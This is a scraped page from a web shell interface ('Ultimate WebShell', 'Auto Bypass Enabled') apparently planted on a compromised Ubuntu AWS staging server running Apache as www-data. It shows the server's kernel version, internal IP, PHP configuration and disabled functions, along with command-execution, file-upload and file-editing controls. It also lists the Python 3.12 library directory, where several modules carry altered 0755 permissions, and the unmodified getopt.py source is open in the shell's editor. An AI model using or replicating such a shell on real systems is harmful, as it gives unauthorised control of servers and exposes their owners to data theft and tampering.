WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
certbot
5758
usr
lib
python3.12
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-07 18:33:09
-
__phello__
Folder
-
0755
2026-07-07 18:33:09
__pycache__
Folder
-
0755
2026-07-07 18:33:09
asyncio
Folder
-
0755
2026-07-07 18:33:09
collections
Folder
-
0755
2026-07-07 18:33:09
concurrent
Folder
-
0755
2026-07-07 18:33:09
config-3.12-x86_64-linux-gnu
Folder
-
0755
2026-07-07 18:33:09
ctypes
Folder
-
0755
2026-07-07 18:33:09
curses
Folder
-
0755
2026-07-07 18:33:09
dbm
Folder
-
0755
2026-07-07 18:33:09
email
Folder
-
0755
2026-07-07 18:33:09
encodings
Folder
-
0755
2026-07-07 18:33:09
ensurepip
Folder
-
0755
2026-07-07 18:33:09
html
Folder
-
0755
2026-07-07 18:33:09
http
Folder
-
0755
2026-07-07 18:33:09
importlib
Folder
-
0755
2026-07-07 18:33:09
json
Folder
-
0755
2026-07-07 18:33:09
lib-dynload
Folder
-
0755
2026-07-07 18:33:14
logging
Folder
-
0755
2026-07-07 18:33:09
multiprocessing
Folder
-
0755
2026-07-07 18:33:09
pydoc_data
Folder
-
0755
2026-07-07 18:33:09
re
Folder
-
0755
2026-07-07 18:33:09
sqlite3
Folder
-
0755
2026-07-07 18:33:09
test
Folder
-
0755
2026-07-07 18:33:09
tomllib
Folder
-
0755
2026-07-07 18:33:09
unittest
Folder
-
0755
2026-07-07 18:33:09
urllib
Folder
-
0755
2026-07-07 18:33:09
venv
Folder
-
0755
2026-07-07 18:33:09
wsgiref
Folder
-
0755
2026-07-07 18:33:09
xml
Folder
-
0755
2026-07-07 18:33:09
xmlrpc
Folder
-
0755
2026-07-07 18:33:09
zipfile
Folder
-
0755
2026-07-07 18:33:09
zoneinfo
Folder
-
0755
2026-07-07 18:33:09
EXTERNALLY-MANAGED
File
645 B
0644
2026-06-19 12:46:00
LICENSE.txt
File
13.61 KB
0644
2026-06-19 12:46:00
__future__.py
File
5.1 KB
0644
2026-06-19 12:46:00
__hello__.py
File
227 B
0644
2026-06-19 12:46:00
_aix_support.py
File
3.93 KB
0644
2026-06-19 12:46:00
_collections_abc.py
File
31.33 KB
0644
2026-06-19 12:46:00
_compat_pickle.py
File
8.56 KB
0644
2026-06-19 12:46:00
_compression.py
File
5.55 KB
0644
2026-06-19 12:46:00
_distutils_system_mod.py
File
5.58 KB
0644
2026-06-19 12:46:00
_markupbase.py
File
14.31 KB
0644
2026-06-19 12:46:00
_osx_support.py
File
21.51 KB
0644
2026-06-19 12:46:00
_py_abc.py
File
6.04 KB
0644
2026-06-19 12:46:00
_pydatetime.py
File
89.94 KB
0644
2026-06-19 12:46:00
_pydecimal.py
File
223.85 KB
0644
2026-06-19 12:46:00
_pyio.py
File
91.4 KB
0644
2026-06-19 12:46:00
_pylong.py
File
8.83 KB
0644
2026-06-19 12:46:00
_sitebuiltins.py
File
3.05 KB
0644
2026-06-19 12:46:00
_strptime.py
File
24.04 KB
0644
2026-06-19 12:46:00
_sysconfigdata__linux_x86_64-linux-gnu.py
File
48.34 KB
0644
2026-06-19 12:46:00
_sysconfigdata__x86_64-linux-gnu.py
File
48.34 KB
0644
2026-06-19 12:46:00
_threading_local.py
File
7.05 KB
0644
2026-06-19 12:46:00
_weakrefset.py
File
5.75 KB
0644
2026-06-19 12:46:00
abc.py
File
6.38 KB
0644
2026-06-19 12:46:00
aifc.py
File
33.41 KB
0644
2026-06-19 12:46:00
antigravity.py
File
500 B
0644
2026-06-19 12:46:00
argparse.py
File
99.37 KB
0644
2026-06-19 12:46:00
ast.py
File
62.75 KB
0644
2026-06-19 12:46:00
base64.py
File
20.12 KB
0755
2026-07-07 18:33:04
bdb.py
File
31.7 KB
0644
2026-06-19 12:46:00
bisect.py
File
3.34 KB
0644
2026-06-19 12:46:00
bz2.py
File
11.57 KB
0644
2026-06-19 12:46:00
cProfile.py
File
6.4 KB
0755
2026-07-07 18:33:04
calendar.py
File
24.82 KB
0644
2026-06-19 12:46:00
cgi.py
File
33.61 KB
0755
2026-07-07 18:33:04
cgitb.py
File
12.13 KB
0644
2026-06-19 12:46:00
chunk.py
File
5.37 KB
0644
2026-06-19 12:46:00
cmd.py
File
14.52 KB
0644
2026-06-19 12:46:00
code.py
File
10.44 KB
0644
2026-06-19 12:46:00
codecs.py
File
36.01 KB
0644
2026-06-19 12:46:00
codeop.py
File
5.77 KB
0644
2026-06-19 12:46:00
colorsys.py
File
3.97 KB
0644
2026-06-19 12:46:00
compileall.py
File
20.12 KB
0644
2026-06-19 12:46:00
configparser.py
File
52.53 KB
0644
2026-06-19 12:46:00
contextlib.py
File
26.99 KB
0644
2026-06-19 12:46:00
contextvars.py
File
129 B
0644
2026-06-19 12:46:00
copy.py
File
8.21 KB
0644
2026-06-19 12:46:00
copyreg.py
File
7.44 KB
0644
2026-06-19 12:46:00
crypt.py
File
3.82 KB
0644
2026-06-19 12:46:00
csv.py
File
16 KB
0644
2026-06-19 12:46:00
dataclasses.py
File
60.31 KB
0644
2026-06-19 12:46:00
datetime.py
File
268 B
0644
2026-06-19 12:46:00
decimal.py
File
320 B
0644
2026-06-19 12:46:00
difflib.py
File
81.36 KB
0644
2026-06-19 12:46:00
dis.py
File
29.5 KB
0644
2026-06-19 12:46:00
doctest.py
File
103.98 KB
0644
2026-06-19 12:46:00
enum.py
File
79.72 KB
0644
2026-06-19 12:46:00
filecmp.py
File
9.95 KB
0644
2026-06-19 12:46:00
fileinput.py
File
15.35 KB
0644
2026-06-19 12:46:00
fnmatch.py
File
5.86 KB
0644
2026-06-19 12:46:00
fractions.py
File
37.17 KB
0644
2026-06-19 12:46:00
ftplib.py
File
34.41 KB
0644
2026-06-19 12:46:00
functools.py
File
37.23 KB
0644
2026-06-19 12:46:00
genericpath.py
File
5.44 KB
0644
2026-06-19 12:46:00
getopt.py
File
7.31 KB
0644
2026-06-19 12:46:00
getpass.py
File
5.85 KB
0644
2026-06-19 12:46:00
gettext.py
File
21.24 KB
0644
2026-06-19 12:46:00
glob.py
File
8.53 KB
0644
2026-06-19 12:46:00
graphlib.py
File
9.43 KB
0644
2026-06-19 12:46:00
gzip.py
File
24.28 KB
0644
2026-06-19 12:46:00
hashlib.py
File
9.13 KB
0644
2026-06-19 12:46:00
heapq.py
File
22.48 KB
0644
2026-06-19 12:46:00
hmac.py
File
7.54 KB
0644
2026-06-19 12:46:00
imaplib.py
File
52.43 KB
0644
2026-06-19 12:46:00
imghdr.py
File
4.29 KB
0644
2026-06-19 12:46:00
inspect.py
File
122.48 KB
0644
2026-06-19 12:46:00
io.py
File
3.5 KB
0644
2026-06-19 12:46:00
ipaddress.py
File
76.46 KB
0644
2026-06-19 12:46:00
keyword.py
File
1.05 KB
0644
2026-06-19 12:46:00
linecache.py
File
5.52 KB
0644
2026-06-19 12:46:00
locale.py
File
76.72 KB
0644
2026-06-19 12:46:00
lzma.py
File
12.97 KB
0644
2026-06-19 12:46:00
mailbox.py
File
77.06 KB
0644
2026-06-19 12:46:00
mailcap.py
File
9.11 KB
0644
2026-06-19 12:46:00
mimetypes.py
File
22.35 KB
0644
2026-06-19 12:46:00
modulefinder.py
File
23.14 KB
0644
2026-06-19 12:46:00
netrc.py
File
6.76 KB
0644
2026-06-19 12:46:00
nntplib.py
File
40.12 KB
0644
2026-06-19 12:46:00
ntpath.py
File
29.32 KB
0644
2026-06-19 12:46:00
nturl2path.py
File
2.82 KB
0644
2026-06-19 12:46:00
numbers.py
File
11.2 KB
0644
2026-06-19 12:46:00
opcode.py
File
12.87 KB
0644
2026-06-19 12:46:00
operator.py
File
10.71 KB
0644
2026-06-19 12:46:00
optparse.py
File
58.95 KB
0644
2026-06-19 12:46:00
os.py
File
38.85 KB
0644
2026-06-19 12:46:00
pathlib.py
File
49.95 KB
0644
2026-06-19 12:46:00
pdb.py
File
67.83 KB
0755
2026-07-07 18:33:04
pickle.py
File
63.38 KB
0644
2026-06-19 12:46:00
pickletools.py
File
91.66 KB
0644
2026-06-19 12:46:00
pipes.py
File
8.77 KB
0644
2026-06-19 12:46:00
pkgutil.py
File
17.85 KB
0644
2026-06-19 12:46:00
platform.py
File
42.32 KB
0755
2026-07-07 18:33:04
plistlib.py
File
27.91 KB
0644
2026-06-19 12:46:00
poplib.py
File
13.83 KB
0644
2026-06-19 12:46:00
posixpath.py
File
17.21 KB
0644
2026-06-19 12:46:00
pprint.py
File
23.59 KB
0644
2026-06-19 12:46:00
profile.py
File
22.55 KB
0755
2026-07-07 18:33:04
pstats.py
File
28.6 KB
0644
2026-06-19 12:46:00
pty.py
File
5.99 KB
0644
2026-06-19 12:46:00
py_compile.py
File
7.69 KB
0644
2026-06-19 12:46:00
pyclbr.py
File
11.13 KB
0644
2026-06-19 12:46:00
pydoc.py
File
110.44 KB
0755
2026-07-07 18:33:04
queue.py
File
11.23 KB
0644
2026-06-19 12:46:00
quopri.py
File
7.02 KB
0755
2026-07-07 18:33:04
random.py
File
33.87 KB
0644
2026-06-19 12:46:00
reprlib.py
File
6.42 KB
0644
2026-06-19 12:46:00
rlcompleter.py
File
7.64 KB
0644
2026-06-19 12:46:00
runpy.py
File
12.6 KB
0644
2026-06-19 12:46:00
sched.py
File
6.2 KB
0644
2026-06-19 12:46:00
secrets.py
File
1.94 KB
0644
2026-06-19 12:46:00
selectors.py
File
19.21 KB
0644
2026-06-19 12:46:00
shelve.py
File
8.36 KB
0644
2026-06-19 12:46:00
shlex.py
File
13.04 KB
0644
2026-06-19 12:46:00
shutil.py
File
56.76 KB
0644
2026-06-19 12:46:00
signal.py
File
2.44 KB
0644
2026-06-19 12:46:00
site.py
File
23.34 KB
0644
2026-06-19 12:46:00
smtplib.py
File
42.51 KB
0755
2026-07-07 18:33:04
sndhdr.py
File
7.27 KB
0644
2026-06-19 12:46:00
socket.py
File
36.53 KB
0644
2026-06-19 12:46:00
socketserver.py
File
27.2 KB
0644
2026-06-19 12:46:00
sre_compile.py
File
231 B
0644
2026-06-19 12:46:00
sre_constants.py
File
232 B
0644
2026-06-19 12:46:00
sre_parse.py
File
229 B
0644
2026-06-19 12:46:00
ssl.py
File
49.63 KB
0644
2026-06-19 12:46:00
stat.py
File
5.36 KB
0644
2026-06-19 12:46:00
statistics.py
File
49.05 KB
0644
2026-06-19 12:46:00
string.py
File
11.51 KB
0644
2026-06-19 12:46:00
stringprep.py
File
12.61 KB
0644
2026-06-19 12:46:00
struct.py
File
257 B
0644
2026-06-19 12:46:00
subprocess.py
File
86.65 KB
0644
2026-06-19 12:46:00
sunau.py
File
18.04 KB
0644
2026-06-19 12:46:00
symtable.py
File
10.5 KB
0644
2026-06-19 12:46:00
sysconfig.py
File
32 KB
0644
2026-06-19 12:46:00
tabnanny.py
File
11.26 KB
0755
2026-07-07 18:33:04
tarfile.py
File
111.18 KB
0755
2026-07-07 18:33:04
telnetlib.py
File
22.75 KB
0644
2026-06-19 12:46:00
tempfile.py
File
36.46 KB
0644
2026-06-19 12:46:00
textwrap.py
File
19.26 KB
0644
2026-06-19 12:46:00
this.py
File
1003 B
0644
2026-06-19 12:46:00
threading.py
File
58.71 KB
0644
2026-06-19 12:46:00
timeit.py
File
13.15 KB
0755
2026-07-07 18:33:04
token.py
File
2.42 KB
0644
2026-06-19 12:46:00
tokenize.py
File
20.72 KB
0644
2026-06-19 12:46:00
trace.py
File
28.5 KB
0755
2026-07-07 18:33:04
traceback.py
File
45.24 KB
0644
2026-06-19 12:46:00
tracemalloc.py
File
17.62 KB
0644
2026-06-19 12:46:00
tty.py
File
1.99 KB
0644
2026-06-19 12:46:00
turtle.py
File
142.93 KB
0644
2026-06-19 12:46:00
types.py
File
10.74 KB
0644
2026-06-19 12:46:00
typing.py
File
114.68 KB
0644
2026-06-19 12:46:00
uu.py
File
7.19 KB
0755
2026-07-07 18:33:04
uuid.py
File
28.96 KB
0644
2026-06-19 12:46:00
warnings.py
File
21.25 KB
0644
2026-06-19 12:46:00
wave.py
File
22.24 KB
0644
2026-06-19 12:46:00
weakref.py
File
21.01 KB
0644
2026-06-19 12:46:00
webbrowser.py
File
23.56 KB
0755
2026-07-07 18:33:04
xdrlib.py
File
5.8 KB
0644
2026-06-19 12:46:00
zipapp.py
File
7.37 KB
0644
2026-06-19 12:46:00
zipimport.py
File
27.47 KB
0644
2026-06-19 12:46:00
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: getopt.py
"""Parser for command line options. This module helps scripts to parse the command line arguments in sys.argv. It supports the same conventions as the Unix getopt() function (including the special meanings of arguments of the form `-' and `--'). Long options similar to those supported by GNU software may be used as well via an optional third argument. This module provides two functions and an exception: getopt() -- Parse command line options gnu_getopt() -- Like getopt(), but allow option and non-option arguments to be intermixed. GetoptError -- exception (class) raised with 'opt' attribute, which is the option involved with the exception. """ # Long option support added by Lars Wirzenius <liw@iki.fi>. # # Gerrit Holl <gerrit@nl.linux.org> moved the string-based exceptions # to class-based exceptions. # # Peter Åstrand <astrand@lysator.liu.se> added gnu_getopt(). # # TODO for gnu_getopt(): # # - GNU getopt_long_only mechanism # - allow the caller to specify ordering # - RETURN_IN_ORDER option # - GNU extension with '-' as first character of option string # - optional arguments, specified by double colons # - an option string with a W followed by semicolon should # treat "-W foo" as "--foo" __all__ = ["GetoptError","error","getopt","gnu_getopt"] import os try: from gettext import gettext as _ except ImportError: # Bootstrapping Python: gettext's dependencies not built yet def _(s): return s class GetoptError(Exception): opt = '' msg = '' def __init__(self, msg, opt=''): self.msg = msg self.opt = opt Exception.__init__(self, msg, opt) def __str__(self): return self.msg error = GetoptError # backward compatibility def getopt(args, shortopts, longopts = []): """getopt(args, options[, long_options]) -> opts, args Parses command line options and parameter list. args is the argument list to be parsed, without the leading reference to the running program. Typically, this means "sys.argv[1:]". shortopts is the string of option letters that the script wants to recognize, with options that require an argument followed by a colon (i.e., the same format that Unix getopt() uses). If specified, longopts is a list of strings with the names of the long options which should be supported. The leading '--' characters should not be included in the option name. Options which require an argument should be followed by an equal sign ('='). The return value consists of two elements: the first is a list of (option, value) pairs; the second is the list of program arguments left after the option list was stripped (this is a trailing slice of the first argument). Each option-and-value pair returned has the option as its first element, prefixed with a hyphen (e.g., '-x'), and the option argument as its second element, or an empty string if the option has no argument. The options occur in the list in the same order in which they were found, thus allowing multiple occurrences. Long and short options may be mixed. """ opts = [] if isinstance(longopts, str): longopts = [longopts] else: longopts = list(longopts) while args and args[0].startswith('-') and args[0] != '-': if args[0] == '--': args = args[1:] break if args[0].startswith('--'): opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) else: opts, args = do_shorts(opts, args[0][1:], shortopts, args[1:]) return opts, args def gnu_getopt(args, shortopts, longopts = []): """getopt(args, options[, long_options]) -> opts, args This function works like getopt(), except that GNU style scanning mode is used by default. This means that option and non-option arguments may be intermixed. The getopt() function stops processing options as soon as a non-option argument is encountered. If the first character of the option string is `+', or if the environment variable POSIXLY_CORRECT is set, then option processing stops as soon as a non-option argument is encountered. """ opts = [] prog_args = [] if isinstance(longopts, str): longopts = [longopts] else: longopts = list(longopts) # Allow options after non-option arguments? if shortopts.startswith('+'): shortopts = shortopts[1:] all_options_first = True elif os.environ.get("POSIXLY_CORRECT"): all_options_first = True else: all_options_first = False while args: if args[0] == '--': prog_args += args[1:] break if args[0][:2] == '--': opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) elif args[0][:1] == '-' and args[0] != '-': opts, args = do_shorts(opts, args[0][1:], shortopts, args[1:]) else: if all_options_first: prog_args += args break else: prog_args.append(args[0]) args = args[1:] return opts, prog_args def do_longs(opts, opt, longopts, args): try: i = opt.index('=') except ValueError: optarg = None else: opt, optarg = opt[:i], opt[i+1:] has_arg, opt = long_has_args(opt, longopts) if has_arg: if optarg is None: if not args: raise GetoptError(_('option --%s requires argument') % opt, opt) optarg, args = args[0], args[1:] elif optarg is not None: raise GetoptError(_('option --%s must not have an argument') % opt, opt) opts.append(('--' + opt, optarg or '')) return opts, args # Return: # has_arg? # full option name def long_has_args(opt, longopts): possibilities = [o for o in longopts if o.startswith(opt)] if not possibilities: raise GetoptError(_('option --%s not recognized') % opt, opt) # Is there an exact match? if opt in possibilities: return False, opt elif opt + '=' in possibilities: return True, opt # No exact match, so better be unique. if len(possibilities) > 1: # XXX since possibilities contains all valid continuations, might be # nice to work them into the error msg raise GetoptError(_('option --%s not a unique prefix') % opt, opt) assert len(possibilities) == 1 unique_match = possibilities[0] has_arg = unique_match.endswith('=') if has_arg: unique_match = unique_match[:-1] return has_arg, unique_match def do_shorts(opts, optstring, shortopts, args): while optstring != '': opt, optstring = optstring[0], optstring[1:] if short_has_arg(opt, shortopts): if optstring == '': if not args: raise GetoptError(_('option -%s requires argument') % opt, opt) optstring, args = args[0], args[1:] optarg, optstring = optstring, '' else: optarg = '' opts.append(('-' + opt, optarg)) return opts, args def short_has_arg(opt, shortopts): for i in range(len(shortopts)): if opt == shortopts[i] != ':': return shortopts.startswith(':', i+1) raise GetoptError(_('option -%s not recognized') % opt, opt) if __name__ == '__main__': import sys print(getopt(sys.argv[1:], "a:b", ["alpha=", "beta"]))
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED